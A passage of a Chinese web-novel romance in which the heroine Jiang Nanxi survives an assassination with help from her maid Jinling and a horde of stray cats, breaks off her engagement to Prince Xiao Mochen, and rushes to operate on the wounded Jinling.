将她密密实实的护住。 姜南溪呼吸猛地停滞,瞳孔因为极度的惊惧而剧烈收缩。 滴答!滴答! 粘稠的液体从头顶垂落的发丝上滑落下来,黏在她的脸上、唇上。 让她尝到了咸腥苦涩的滋味。 “金……铃……” 千钧一发之际,是金铃扑到了她的身上。 用血肉之躯为她挡住了致命一击。 但金铃似乎犹觉得不够。 她猛一扭头,不顾那贯穿身体的长剑,身子反倒是用力往后一仰。 任由长剑将自己的血肉之躯重新贯穿一遍。 随即,猛地反手将长刀狠狠扎入那蒙面人的心脏。 “啊!” 蒙面人发出一声痛呼,睁着难以置信的眼睛缓缓倒了下去。 金铃眼神凶狠而决绝。 又一个扭身,在另一个蒙面人反应过来前,将手中仅剩的那把双刀丢出去。 双刀旋转着飞向蒙面人,被他仓促躲过要害。 可到底还是在他腿上留下了一道深可见骨的伤口。 蒙面人发出一声闷哼,狼狈跌倒在地上,怨毒地看向金铃。 金铃没有再上去补刀,反手拔出长剑,捏在手中。 随后另一只被鲜血浸透的手,用力扶起姜南溪。 “小姐,走……快走……” 她也不知道哪来的力气,竟真的硬生生把姜南溪扶起来,拖到了马车前。 “小姐,跑……快跑……” 金铃的声音断断续续的,扶着姜南溪的手冷得仿佛冰块。 她的瞳孔也逐渐涣散,可却还是拼命地说着。 “去……去城外,护君营……在……在城外练兵,去……去找他们……” 金铃说着说着,突然大口的血从口中吐出来。 她知道自己就要不行了。 可她答应过王爷,就算死,也要护小姐安全。 而且,小姐那样神仙般的人物,怎么能……怎么能死在这种地方呢? 她应该救更多更多的人。 救伤残营的士兵,救王爷…… 她不应该死在这里的。 姜南溪猛地回过神来,反手一把拉住金铃:“快,跟我上马车,我带你一起走!” “不……奴婢……奴婢已经活不了了……” 金铃口中不停溢出鲜血,脸上的生机一点点消散,身体也越来越冰凉。 可她却不知道哪来的力气,再一次提起手中的长剑,要斩断马车。 马车虽能阻挡身后的箭矢攻击。 却会拖慢马儿的速度。 所以金铃要斩断车辕,让小姐能更快的逃跑。 而她会用她最后一点生命价值,为小姐阻挡住追兵。 “小姐……” 金铃的眼中泪水汹涌,声音飘忽而轻微。 “小姐,你原谅奴婢……以前的……无礼。奴婢真的很高兴,能被……王爷……派到您……身边……” 泪水无声滑落,手中的长剑也朝着车辕落下。 啪! 姜南溪一把拍飞长剑,动作粗鲁地把她一把扯上了车厢。 “闭嘴!想让我原谅你,那就好好活下来,用实际行动表示!” 金铃挣扎着想要爬起来,泪水与血水模糊了她的脸:“小姐,你让……奴婢护您……最后一次,反正奴婢也是活……不了了……” 她比任何人都知道自己的身体状况。 之前的战斗她就已经受了重伤。 刚刚为姜南溪挡的那一剑,更是没有给她留下任何活路。 她不能留在马车上,不能拖累…… “金铃,你在质疑谁的医术?” “有我在,就算你只剩下一口气,我也能把你从阎王爷手里抢回来!” 第一百一十九章 喵喵大军来救援 姜南溪忍着肩膀的剧痛,猛地甩动缰绳,马儿嘶鸣一声,再次往前狂奔。 同时,她在心里冷静地问:【系统,我记得我们医院的手术中心配备了ICU病房,我能把病人放进去吗?】 系统:【可以,但有条件。病人必须符合病危,需要进ICU的标准,且陷入深度昏迷,绝不会察觉到系统的存在。才可在无人发现的情况下,将病人放入ICU病房。】 姜南溪闻言,没有回头,毫不犹豫将一块浸了乙醚的纱布,直接蒙到金铃脸上。 金铃只觉神思一晃,连哼都来不及哼一声,就昏死过去。 姜南溪:【把金铃送进ICU病房,让智能医护给她吊着命。她要是在我做手术之前死了,我唯你是问!】 系统:【好的,宿主,本系统竭诚为您服务!但生死由命,本系统并不能保证ICU中的病人……】 剩下的废话,姜南溪没兴趣也没心神再听下去。 她此刻的状态其实没比金铃好到哪去。 全身的疼痛与失血过多,让她手脚冰凉发麻,眼前一阵模糊,连前路都几乎要看不清了。 姜南溪实在坚持不下去,只能抽空进系统中给自己补了几针。 然而,也是因为这一耽搁。 后面的蒙面人再度紧追上来。 咻! 夺命的弩箭破空声再次传来。 姜南溪下意识的想要躲避。 然而下一刻,就听身下的马儿发出一声凄厉的嘶鸣。 身体剧烈摇晃,将她从马上重重甩了下去。 蒙面人这次甚至连喘息说话的空隙都不再给她。 姜南溪在地上翻了好几个滚,疼的死去活来。 一睁眼,却看到凌厉的剑光裹挟着森寒杀意,朝她的头颅直袭而来。 姜南溪只觉眼前一片白茫茫,几乎什么都看不清了。 心中悲凉而绝望。 今天晚上,她注定逃不过这一劫了吧? 只是可惜了金铃,年纪轻轻,就要随她一起去死了。 死后,她能回到属于自己的世界吗? 然而,就在这千钧一发之际—— “喵呜——!!” “啊!什么东西?” 姜南溪恍惚觉得自己听到了猫叫声。 是……临死的错觉吧? 可都过了那么久了,为什么刀还没有落下? “喵——!” “喵喵——!” “喵喵喵——!!” 猫叫声! 真的是猫叫声?! 姜南溪猛地晃了晃脑袋。 无法视物的双眼开始慢慢聚焦。 眼前那匪夷所思的一幕幕映入姜南溪眼中,让她彻底惊呆在原地了。 是野猫! 一只、两只、三只……十只……二十只…… 无数的野猫从房顶上、草丛中、檐廊间跳跃下来。 凶狠地往那些蒙面人身上扑。 野猫比起人,身形是何等的微小,对这些蒙面人本该是完全没有威胁的。 可野猫实在是太多、太多了。 三个追来的蒙面人身上,几乎每个人身上都挂着七八只野猫,周围还虎视眈眈转悠着三五只。 “哪来的猫?” “怎么会有那么多猫?” “该死的畜生,滚开,快滚开!” 蒙面人甚至在影三出现的时候都没那么惊慌失措过。 实在是黑夜里,突然出现密密麻麻成百只野猫,实在是太恐怖太诡异了。 他们高声呼喝,不停挥舞着手中的刀。 可野猫就像是受到了指挥一般,配合无间地对蒙面人发起攻击。 用爪子、用牙齿、用尾巴,甚至用它们那沾满了泥污的毛发糊蒙面人满脸。 三个蒙面人哪怕武功再好,却左支右绌,根本无法招架。 只要这些蒙面人稍有松懈。 周围转悠的野猫就会喵呜吼叫一声,身体猛地窜高两米,朝着蒙面人的脸部狠狠抓下。 “啊——!!” 凄厉的惨叫声、怒吼声,混合着此起彼伏的猫叫声,回荡在深夜的寂静中,显得格外诡异。 姜南溪惊呆了。 她怔怔看着成群结队攻击蒙面人的野猫,呼吸微微急促。 为什么? 为什么野猫会突然出现? 为什么会有那么多猫攻击蒙面人,将她从生死一线中拉回来? 猫……野猫……黑猫…… 姜南溪的心脏猛地剧烈跳动了一下。 “喵~” 几乎同时,耳边传来一声软软的猫叫声。 姜南溪猛地低下头去,与一双圆溜溜的碧绿色眼睛两两对望。 “喵喵~~” 黑猫又叫了一声,细长的尾巴左右晃了晃。 小小的脑袋高高扬起,那双没什么情绪起伏的眼睛带着几分傲然看着姜南溪。 仿佛在说:愚蠢的凡人,现在知道本猫大仙是有恩必报的了吧? 姜南溪几乎要被自己的想象逗笑了。 她伸出虚软到发颤的手,抚上黑猫的脑袋。 “小黑,谢谢你救我狗命。” “喵~~” 黑猫脑袋往上拱了拱,在她掌心轻蹭。 姜南溪心中酸软,正想说什么。 却见黑猫猛地直起身子,侧着脑袋,耳朵微微耸动了一下。 随即他拱起身体,发出一声仿佛能穿透云霄的“喵呜”声。 这声喵叫一出。 那些原本还在攻击蒙面人的野猫们,立刻像是接收到指令一般,飞速退去。 只眨眼之间,这些犹如神兵天降的猫,就消失了大半。 与此同时,姜南溪听到了急促的马蹄声。 不是一个两个,而是无数飞扬的马蹄声。 夹杂在其中的还有,孩童隐隐约约的哭喊声:“娘亲……娘亲,你在哪?!” 是萧时晏! 萧时晏真的搬来救兵了! “喵呜~” 黑猫最后朝姜南溪叫了一声,随后纵身一跃。 小小身体腾起数米高,直接跃上屋顶,消失无踪。 “小黑!”姜南溪忍不住叫了一声。 但夜色茫茫,哪里还有小黑和野猫的影子。 嗒嗒嗒! 急促的马蹄声也在此刻如奔雷般越来越近,越来越近。 远远地,姜南溪看到了骑在马上的身影。 一大一小。 小的是哭的撕心裂肺的萧时晏。 大的那个面无表情,周身上下散发着生人勿进的气息。 哪怕在夜色下也掩不住他绝世的容光,绝代的风华。 萧墨宸! 姜南溪几乎是在心里咬牙切齿念出这个名字。 她今夜所有的遭遇,所经受的痛苦折磨,全都源自于这个狗男人! 第一百二十章 我们的婚约就此作废 马儿越来越近。 萧时晏终于看到了她,哭的稀里哗啦的脸上露出欣喜的笑容。 “娘亲……娘亲……啊——!!娘亲小心!” 突变,就在这时候发生。 被野猫攻击的三个蒙面人,听到马蹄声后,就意识到自己刺杀失败。 其中两人忍着剧痛,直接飞遁逃跑。 但另一人也不知道是不是被野猫伤的狠了。 一直趴在地上,身体不停抽搐,半天都爬不起来。 然而此刻,就在所有人都放松警惕的时刻。 蒙面人却猛地鱼跃而起,手中弩箭对准姜南溪心脏。 咻——! 姜南溪瞳孔剧烈放大。 大脑一片空白。 但她甚至还没来得及生出恐惧和骂娘的情绪。 身体就被猛地拥入一个紧实的怀抱中。 入骨的冷香将她死死包裹住。 在她前方不足寸许的位置,一只白皙修长,骨节匀称的手,凌空牢牢抓住了飞射的弩箭。 五指轻动。 弩箭一个掉头,如闪电般飞射而出。 只听扑哧一声。 那唯一没有逃走的蒙面人连惨叫声都没能发出,就直挺挺倒了下去。 额头上插着的,正是那支原本射向姜南溪的弩箭。 “南溪……” 姜南溪隐约听到男人的声音。 她却什么都听不清,只觉得喉头一甜,猛地喷出一口血。 “娘亲,呜呜呜呜……娘亲……父王,你快救救娘亲啊!” “王爷,您万万不可再……” “主子,是影七!影七来了!” 耳边全都是嘈杂的喊声,怒吼声,奔跑声。 还有萧时晏声嘶力竭的哭声。 姜南溪狠狠咬了下舌尖,让自己不能就这么昏死过去。 否则,她活不下来。 系统空间中的金铃更活不下来。 而这边,影七气喘吁吁地被影十三提留着来到萧墨宸面前。 看到满身是血,伤痕累累的姜南溪,再看看把姜南溪紧紧抱在怀中的主子。 影七脸上露出迷茫的神色:“属下影七,参见……” “解药呢!” 然而,萧墨宸甚至没等他把话说完,就厉声打断了他。 影七“啊”了一声,心中莫名有些发慌。 怎么……怎么回事? 现在离七日断肠丸毒发的时间,不是才过了一两个时辰吗? 就算南溪县主要受点苦,也不该是如此凄惨的模样。 而且,为什么……为什么主子的态度…… “影七,本王的话,你听不见吗?” 男人冰冷的声音带着凛冽的杀意,让周围听到的人都忍不住一阵胆寒。 “解药呢?!” 影七浑身猛地一颤,他手忙脚乱地从怀里把锦囊取出来。 因为太过慌乱,手没拿稳,白色的药丸直接滚落在地上。 他越发惊慌,连忙伸手要去捡。 可影十三的动作却比他更快。 她一把推开影七,上前迅速捡起解药,递到萧墨宸手中。 “主子,解药!” 萧墨宸接过,看了哭的眼睛红肿,声音都嘶哑了的儿子一眼。 迅速捏住姜南溪面颊,就将解药往她口中塞去。 然而—— 啪! 一只沾满了血的手狠狠拍在萧墨宸手上。 白色药丸没能捏稳,直接滚落在地上。 姜南溪猛地睁开眼,直勾勾看向萧墨宸。 她的脸上此时糊满了鲜血与泥灰,嘴唇几乎没有半分血色,虚弱的仿佛随时会昏死过去。 可一双眼却冷得吓人:“御王殿下,不用你黄鼠狼给鸡拜年,假好心!” 萧墨宸皱眉:“这是七日断肠丸的解药,全京城只此一颗。不服解药,你会毒发七日,唯死一途。这种时候,就莫要赌气了。” 说着一手搂住姜南溪,另一手去捡解药。 然而,手还没碰到解药。 怀中的人却猛地用力一推,竟直接从他怀中滚落下去。 “姜南溪,你做什么?” 萧墨宸声音冷了下来:“本王是在救你的命!” 啪啪啪! 姜南溪鼓掌冷笑:“那真是谢谢御王殿下纡尊降贵,亲自给我送药,来救我的狗命了?我是不是应该感激涕零,对着您三跪九叩,感谢您的不杀之恩啊?” 笑容陡然一敛,化为了怒到极致的讥讽:“萧墨宸,你不想给解药,可以直说,耍着我吊着我,眼睁睁看着我被七日断肠丸折磨,你觉得很好玩吗?” “还是说,王爷觉得用七日断肠丸吊着我,就能让我一遍遍经历折磨,直到再也承受不住,然后像狗一样朝你摇尾乞怜?” 萧墨宸瞳孔剧烈收缩了一下。 他什么时候这么想过? 他何时打算折磨这个女人了? “本王……” 然而,他的话没能说出口,就被姜南溪冷冽的笑声打断。 “不过,恐怕要让王爷失望了!” “您的解药,我不需要,照样可以活下来?” 姜南溪晃了晃手中捏着的白色药丸,原本想潇洒的扔出去。 想想七日断肠丸的神奇和可怕,到底没舍得。 手腕一番,不着痕迹地揣入袖中。 她的神情讥诮而冰冷,带着咬牙切齿的怒意:“七日断肠丸的毒,我已经自行解除。王爷想像训狗一样驯化我,让我对着你卑躬屈膝,摇尾乞怜,那恐怕要让您失望了!” “之前就当是我瞎了眼,选你萧墨宸做我的合作对象。王爷如此心机如此手段,用一颗七日断肠丸就能将人耍的团团转,想必您身上的巫髓毒,对您来说也算不得什么。以后这毒谁爱解谁解去!” 影十三急了:“县主,这其中恐怕有些误会。王爷绝对没有吊着你不给你解药的意思,更不可能故意戏耍您,事实上王爷为了……” “不想戏耍我,却特意将我支使到鸿宾客栈,让我受人追杀?不想吊着我,却让影七故意迟迟不把解药送过来,任由我毒发受折磨?” “我可去你的误会吧!” 姜南溪没忍住,狠狠爆了句粗口。 她不想迁怒御王府的其他人,所以只死死瞪着萧墨宸这个罪魁祸首。 一句句道:“要我把话说的再清楚点吗?萧墨宸,你不就是憎恨我玷污了你堂堂高贵王爷的清白,不想娶我为妻吗?现在,我成全你!我们的婚约就此作废!” “从此以后,你走你的黄泉路,我过我的独木桥,老娘不奉陪了!” 第一百二十一章 影七,你真该死 说完,姜南溪转身就走。 只刚踏出一步,身上的伤与全身的虚弱冰凉,就让她的脚步一个趔趄。 可她却死死咬着下唇,挺直了背脊,一步步离开。 “娘亲,娘亲,呜呜呜……娘亲,你不要炎炎了吗?” 萧时晏的这声娘亲与哭声,让她脚步微微一顿。 但很快就继续向前。 “吁——!” 马车停在姜南溪身前。 徐瑞从车上下来,噗通一声跪倒在她面前。 平日里沉稳的声音,此时带着显而易见的沙哑。 “属下送您回去。” 姜南溪:“不用了,以后你都不再是我的马夫,回你的御王府去吧!” 徐瑞猛地抬起头,把姜南溪吓了一跳。 只见平日里那张有些憨傻的脸上,此时泪流满面。 唇角上甚至还黏着血痕。 看上去凄惨而狼狈。 他突然砰砰砰朝姜南溪连磕了好几个头,才嘶声道:“徐瑞现在只是王妃……只是小姐的马夫,小姐让徐瑞回去,徐瑞不知道自己该回哪里。” 他死死压抑住抽泣的声音,通红的双眼看着姜南溪。 希冀道:“小姐,您受伤了,就让属下给你……给你驾马车好不好?” 对着这样一张脸,姜南溪实在说不出拒绝的话。 而且她此刻真的快要撑不住了,ICU中的金铃也要撑不住了。 “那就,麻烦你了!” 姜南溪无力地挥了挥手,在徐瑞的搀扶下,上了马车。 “王爷,您不能就这么让南溪县主走啊!” 司玄中眼看徐瑞就要驾马车离开,再也淡定不下去了。 “宋武,影十三,快,快将南溪县主拦下来!” “谁都不许动!” 萧墨宸冷声道:“让她走!” “王爷!” 司玄中简直要哭了。 都这种时候了,王爷到底在犟什么啊? 如今的南溪县主,可是唯一能解王爷身上巫髓毒的人。 如果真的让她负气与王爷决裂,那王爷该怎么办? 御王府和三十万镇北军又该怎么办? 更何况,这其中分明有天大的误会。 王爷明明…… “驾——!” 然而,不等司玄中再说话,徐瑞已经挥动马鞭。 马车飞快而平稳的再夜色中疾驰离开。 萧墨宸:“影九!” 影九一个应声,跟着离开的马车,消失在夜色中。 司玄中见此更加扼腕。 王爷明明就很关心县主。 都这种时候了,还记得让影九护送县主回去。 从皇宫里出来得到消息后,更是连巫髓毒可能会发作都顾不得了。 直接放弃马车,自己骑马就赶了过来。 可这样的关心,为什么就不让县主看到、知道呢? 要知道如今王爷身上的巫髓毒,可只有县主能解啊! 但心思一转,司玄中瞥到一旁神情茫然而惊惶的影七。 心头猛地一跳,瞬间就想到为什么了。 刚刚姜南溪的话又回响在耳中。 “不想戏耍我,却特意将我支使到鸿宾客栈!” “不想吊着我,却让影七故意迟迟不把解药送过来!” 不!不对! 这里面似乎有问题! 司玄中正想着,突然就见向来沉稳的影十三,突然一个转身。 狠狠一拳砸在影七脸上。 刚刚还半跪在地上的影七猝不及防,直接被砸飞出去,疼的发出一声闷哼。 等抬起头的时候,他的半张脸便高高肿了起来。 原本束起的头发也被打散下来,此刻披头散发,说不出的狼狈。 影七愤怒地瞪向影十三。 正想斥问她疯了吗?为什么要打自己? 就见向来坚强,哪怕家中遭逢巨变,也从没掉过一滴眼泪的影十三。 此刻却双目含泪,嘴唇都在颤抖,怒吼出来的声音带着明显歇斯底里的哭腔。 “你到底做了什么?!” “为什么没有第一时间把解药送到县主手上?” “司先生送去的飞鸽传书,你没收到吗?王爷临行前的嘱咐,你没听明白吗?” “说啊!为什么不按照命令,按时把解药送到县主手中?” 吼到最后,影十三终究没忍住。 两行泪滚落眼眶。 影七此刻是真的茫然了。 他看看流泪怒吼的影十三,又看看其他人。 只见所有人,都对他怒目而视。 小世子萧时晏更是双目喷火地瞪着他。 哪怕一双眼肿成了核桃,都仿佛恨不得冲过来将他碎尸万段。 可,可他到底做错了什么啊? 他明明只是厌恶那个恬不知耻的南溪县主玷污主子清白,还不自量力妄想嫁入御王府。 他明明是为了替小世子和小郡主出头。 更何况,他也没有真的想让南溪县主死啊! 七日断肠丸七日才会毒发。 只是疼这几个时辰,南溪县主也不会死啊! 影七满腹委屈,可面对所有人喷薄的怒火。 他终究不敢将心里话说出来。 只嗫嚅着道:“我……我只是想让南溪县主吃点苦头,从来没有真的想要她命。主子,属下……” 砰——! 影七的话还没说完,突然胸口被人狠狠踹了一脚。 这一脚比影十三的力道可大多了。 影七整个人倒飞出去数米远,重重砸在一旁的城墙上,哇的吐出一口血。 然而,踹他的人却显然还没有解气。 一个纵身飞到他面前,哐哐哐,一顿沙包大的拳头往他身上乱砸。 影七只觉得自己胸口的肋骨都断了好几根。 耳边传来一阵阵的咆哮怒吼声:“老子可去你个王八蛋狗杂种龟孙子!” “你算什么东西,也敢让小医仙吃苦!当我们镇北军全是死的吗?” “老子今天就算拼着被王爷军令责罚,也一定要打死你这个狗杂种!” 影七全身痛的死去活来,却偏偏晕不过去。 可让他最痛苦的却还不是身上的疼痛。 而是不远处传来的一阵阵喝彩怒骂声。 “宋将军,打得好,多打几下,连俺们的份也一起揍上了!” “对对,宋将军好样的,哎呀,早知道这龟孙子这么不是东西,刚刚当着小医仙的面,我们就该动手的。” “就是说啊,小医仙那是什么神仙般的人物啊,这狗东西居然还想让小医仙吃苦头,今天不把他脑袋里的狗屎打出来,我们镇北军以后还怎么面对救命恩人?” 第一百二十二章 影七的愚蠢 就连影七原本想帮忙讨回公道的小世子,也用力鼓着掌。 咬牙切齿地大喊:“敢欺负娘亲,宋武叔叔,打死他!” 什么……什么娘亲? 影七简直不敢相信自己的耳朵。 小世子竟然叫姜南溪娘亲? 可……可耿超和阮宜人不是说,姜南溪算计陷害小世子吗? 影七心中一片惊惶。 隐隐意识到,自己有什么地方弄错了。 他似乎,犯下了一个天大的错误。 而更让影七恐惧的,还是萧墨宸的态度。 向来对他和影十三特别宽容照顾的主子,今日破天荒的,连正眼都没看他一眼。 哪怕此刻他被宋武揍得半条命都没了。 萧墨宸也只是冷眼看着,仿佛真的对他彻底失望,不想要他了一般。 一产生这个念头,影七大脑就嗡嗡的,一片空白。 泪水混合着血水,模糊了他的脸。 “宋武,够了!” 终于,有一个冷淡的声音响起,打断了宋武的施暴。 然而,却不是影七希冀的萧墨宸,而是沉着脸的司玄中。 司玄中平日里说话都是和风细雨,温和谦逊的,连声音都带着几分君子端方的温润。 但此刻的态度却仿佛冷厉厌恶到了极点:“影七是蠢,但还没到有胆子假传命令的程度。你把人打死了,接下来王爷要如何审问?” 宋武闻言,果然停下了拳头,呵呵笑了一声:“要不是知道王爷还要审问,司先生你以为老子的拳头就只有这点力气吗?” 早把这龟孙子的脑浆都打出来了。 宋武有时候蠢。 可是有时候又格外的敏感和睿智。 甚至在司玄中忙着让萧墨宸拦下姜南溪的时候。 这傻大个的第一反应是,要求得小医仙的原谅,当然是先把自己这边的渣滓肃清啦! 然后才好逮着罪魁祸首和礼物,去给小医仙道歉赔罪啊! 否则巴巴儿把小医仙留下来做什么? 给小医仙添堵吗? 所以刚刚他打影七那几拳,就是看着重,打着疼,却始终收着力,留着他一口气的。 此刻被司玄中叫停,他便立刻如拖麻袋一样,把影七直接拖到了萧墨宸面前,重重一甩。 大喇喇道:“王爷,您快审问这龟孙子吧!看看他到底是怎么欺负小医仙的!” 萧墨宸居高临下看着地上血淋淋的自家墨影卫。 声音低沉磁性,分外悦耳。 然而,却透着让人头皮发麻的冷意。 “影七,是你让南溪县主到鸿宾客栈等解药的?” “不……不不!” 影七吃力地抬起面目全非的脸,嘶声哭道:“属下没有,属下真的没有,是南溪县主自己来东城门的……属下从没有让南溪县主来这里等解药啊!属下本就是从皇觉寺后山回来的,那里离东城门极远,属下怎么会让县主来东城门等呢?主子,您相信属下,属下真的不是有心要害死县主……” 他真的,真的只是想让姜南溪受一点教训,以后莫要如此嚣张啊! 司玄中皱眉:“王爷临走前明明特意嘱咐了南溪县主留在府中莫要离开,既然不是影七故意使坏,县主又怎么会到东城门来?” 他的视线扫过地上蒙面杀手的尸体。 眼中闪过一抹凌厉的暗芒:“这些杀手,一看就是祁瑞霖的手笔。” “祁瑞霖此人阴狠毒辣、睚眦必报,会雇杀手对付南溪县主,这点并不奇怪。” 御王府也为此早已做了严密的部署。 至少县主所在的碧清院,是保护的密密实实的,绝不会让任何杀手组织有可乘之机。 “可祁瑞霖,又是如何得知南溪县主今晚在鸿宾客栈,且身边没有人防护的?” 司玄中一边思考,一边仿佛自语般喃喃。 突然,他神色一厉,道:“影七,你把今天发生的事情,原原本本说一遍!” 影七此刻哪里还敢有什么隐瞒。 他忍着全身骨头和五脏六腑的剧痛,将今日自己从皇觉寺后山飞马疾驰回到王府。 又在王府门口碰到耿超和阮宜人。 因为阮宜人那小婢女妙菱的话,而对姜南溪心生怨怼。 最终决定先不去给姜南溪送药,让她经受一下七日断肠丸毒发的痛苦。 这些经过与心路历程,一五一十、磕磕绊绊全讲了出来。 越听,在场的人就越是怒火中烧。 萧时晏没忍住,冲过去用小拳头狠狠砸在影七的眼睛上:“你胡说,娘亲才没有对炎炎不好,你这个坏蛋,为什么要让娘亲受苦,你知不知道娘亲有多难受!” 想起在鸿宾客栈中看到的那躺在血泊中,仿佛失去所有生机的单薄身影。 萧时晏眼圈一红,没忍住哇的一声又哭了出来:“都是你,都是你害娘亲流了那么多血,都是你让娘亲那么疼,呜哇哇哇……我要杀了你!炎炎要杀了你!呜呜呜呜……” 要不是因为解毒的时候受了那么多苦,娘亲又怎么可能连逃跑都跑不动。 可哪怕已经虚弱成那样了。 娘亲却还是把他交给徐瑞叔叔,自己去引开杀手。 差一点,差一点娘亲就死了! 差一点,炎炎就失去好不容易拥有的娘亲了! 萧时晏小脸越来越狰狞,双目一片赤红。 抬手就想去抓宋武身上的刀。 他要杀了影七! 他要给娘亲报仇! 然而,萧时晏毕竟只是个四岁的孩子。 他今天一天实在是经受了太多的惊吓、恐惧、伤心和愤怒。 能支撑到半夜,全靠他非人的意志力。 此刻情绪上涌,怒火冲头,顿觉头晕目眩。 小手刚碰到刀,就眼前一黑,身体软软倒了下去。 只是,还不等他落地,萧墨宸就已经上前一步,将他小小的身体捞起,抱在怀中。 小家伙闭着眼,身体软软地靠在萧墨宸怀中。 可哪怕睡着了,眼角却还是沁出了伤心的泪水。 口中低声喃喃着:“娘亲……娘亲……” 萧墨宸眉头皱了皱,眼中凝聚起浓烈的杀意。 而一旁的司玄中也是倒吸了一口凉气。 “王爷,看来我们果真是被人算计了,县主险些就死在这玩笑一般的阴谋和影七的愚蠢之下。” 第一百二十三章 金铃不会死 事实上,司玄中并没有那么关心姜南溪这个才认识了七天的县主。 可如今,整个御王府,连带着镇北军上下,全都对姜南溪的医术深信不疑。 司玄中清楚的知道,如今这世间能解萧墨宸身上巫髓毒的。 除了下毒之人,恐怕就只有这位南溪县主。 幕后的人,到底是真的想要南溪县主的性命。 还是已经知道了这一点,所以要将王爷唯一的生存希望都扼杀掉? 而更让御王府所有人心惊的还不是这些。 而是…… 耿超! 影七这个蠢货判断不出来。 可司玄中他们却是马上听出了这其中的玄机。 但是,这可能吗? 耿超可是御王府的护卫队队长,是萧墨宸的心腹之一。 他为何要背叛王爷? 司玄中脸色一阵变幻,抬头看向萧墨宸。 就见萧墨宸单手抱着昏睡的萧时晏,眼神肃杀而冰凉:“回府!” === 姜南溪一上马车,也顾不得前方赶车的徐瑞会不会发现。 意识第一时间进入了手术中心。 她先去查看了金铃的情况。 确定她还被吊着一口气,这才开始处理自己身上的伤。 姜南溪非常清楚。 金铃的脏腑受到了重伤,如果没有自己给她做紧急手术。 哪怕在ICU病房中,也活不了多久。 可姜南溪此刻的情况实在算不得乐观。 尤其是肩膀上被弩箭射伤的位置。 此刻正传来钻心刺骨的疼。 就算现在做紧急处理,恐怕也达不到能做手术的程度。 然而,病人的生死不等人。 她若不救金铃,金铃今晚必死无疑。 姜南溪看着眼前的药剂,毫不犹豫地扎在了自己的肩膀上。 随后在医疗机器人的辅助下,将肩膀一圈一圈缠起来。 幸好……幸好22世纪的医疗水平已经非常高。 像弩箭贯穿这样的伤口经过紧急治疗,已经不会影响手指的精细运动。 唯有伤口的发炎和疼痛,是无法在短时间内消除的。 所以姜南溪给自己打了封闭针。 可饶是22世纪的封闭针已经几乎没有副作用。 但那也是相对非开放伤口而言的,例如扭伤、拉伤等。 而她给自己肩膀的开放性伤口打封闭针,其实并不适用。 很可能会有增加感染和加重伤势的风险。 但此时人命关天,姜南溪已经顾不得了。 夜色下,马车平稳而快速地来到了定远侯府碧清院后门。 在马车停下的时候,姜南溪已经给自己全身上下的伤,做了简单的处理。 她将金铃从ICU病房中取出来。 “小姐,碧清院到了,属下扶您……” 车厢外传来徐瑞担忧的沙哑声音。 只是还不等他把话说完,姜南溪就声音急促地打断了他:“徐瑞,上来给我搭把手,把金铃抬进去!” 听到这话,徐瑞都愣住了。 金铃? 他猛地拉开车厢帘子,果然看到昏暗光线中一坐一斜躺着两道女子身影。 坐的是姜南溪。 而躺着的女子,全身是血,胸口一道恐怖的贯穿伤,不是金铃又是谁? 可,可这怎么可能呢? 他明明没有见过金铃上马车啊? 莫不是一开始金铃就在车厢上,他没有注意到? 徐瑞一头雾水,眼神疑惑而茫然。 “徐瑞!” 然而,没等他想清楚,姜南溪一声厉喝传来,“让你来帮忙抬人,没听到吗?你想看金铃去死吗?快帮我把她抬进去,我必须马上给她做手术!” 徐瑞浑身一个激灵。 再也顾不得细思金铃到底是怎么到马车上的了。 “是,小姐!” 他一个纵身跳上马车,直接将金铃横抱起来。 姜南溪微微松了口气:“小心,托住她的后背,千万要稳,绝不能让她的身体受到太大震荡!” …… 碧清院中。 已经是五更天了,外面一片漆黑。 可徐嬷嬷、小婵和银铃却都没有睡。 “小姐,你终于回来了!” 看到率先进来的姜南溪,小婵惊喜地叫了一声冲上去。 然而下一刻,她就看到了姜南溪身上的狼狈和大片大片的血渍。 小丫头只觉得眼前一黑,眼泪瞬间盈满了眼眶。 “血……好多血,小姐,发生什么事了?你身上怎么会有那么多血?你是不是受伤了?” 姜南溪此时却没空安慰自己的小婢女。 她动作急促却轻柔的提起小婵的领子,把她拎到一边。 随后冲到徐嬷嬷面前,急切道:“徐嬷嬷,麻烦你,马上准备一间干净的房间。” “银铃,小婵,你们去烧热水!” 徐嬷嬷神色茫然,却毫不犹豫的应道:“好,老奴这就去准备。” 但随即还是忍不住问了一句:“王妃,是发生什么事了吗?您身上……” 徐嬷嬷的声音,在银铃的一声尖叫哭嚎中戛然而止。 就见因为怕自己震到怀中病人,所以走路比姜南溪慢了一步的徐瑞。 直到此时才满头大汗的快步走入屋中。 他的怀中,是脸色惨白的金铃。 她的全身几乎被鲜血浸透了。 胸口的贯穿伤,此时正汩汩涌出鲜血。 哪怕徐瑞已经非常小心了,可没有缝合过的内脏出血,终究是止不住的。 没有ICU中的昂贵仪器吊着命。 此时的金铃胸口已经几乎没有了起伏,脸上惨白中甚至泛起了青灰的死气。 “姐姐,姐姐……怎么会这样?姐姐,你不要吓我!呜呜呜……姐姐!” 银铃哭着扑过去,想要去碰触金铃惨白的脸。 徐瑞却牢记姜南溪的嘱咐,一个侧身又稳又快地避过。 这一动,额头上的汗就又流淌下来,把他的衣服领口都浸湿了。 徐瑞紧张道:“不能碰,小姐说不能碰!” 银铃泪流满面的抬起头,眼中满是绝望和空茫。 她就只有金铃这一个亲人。 如果金铃死了,她要怎么办? “姐姐,呜呜呜……姐姐,你不要死,你死了我怎么办?呜呜呜……” “别哭了!” 姜南溪厉声打断她,“谁告诉你金铃会死,有我在,就算她一只脚踏进了鬼门关,我也照样会把她从阎罗王手里抢回来。银铃,你现在要做的,就是帮徐嬷嬷收拾出一个干净的房间,然后去烧水!” 第一百二十四章 人救回来了,她也晕了 姜南溪:“你现在哭哭啼啼多耽误我一分钟,就是让金铃的脚往黄泉路上多走一步?你想害死自己的姐姐吗?” 银铃浑身猛地一颤,尖叫一声:“不,我不要姐姐死!我去收拾房间,我马上去烧水!” 碧清院迅速忙碌了起来。 没多久,徐嬷嬷就手脚利落地收拾出一间干净的房间。 姜南溪让徐瑞把金铃放在床铺上,随后神情严厉地对几人道:“接下来,我要给金铃做手术,没有我的允许,你们任何人都不许推门或开窗进来,否则若是因为房间里进了脏东西,导致金铃被感染,让我的救治功亏一篑,你看我怎么跟你们算账。听明白了吗?” 小婵点头如捣蒜:“小姐你放心,小婵就在这里守着,绝对……绝对不会让任何人进去打扰小姐的!” 砰! 房间的门被重重关上,隔绝了里外空间。 银铃哭的眼睛红肿,呆呆地望着紧闭的房门,泪水止不住地涌出眼眶。 尽管姜南溪说了会救金铃。 可她本身就是练武之人。 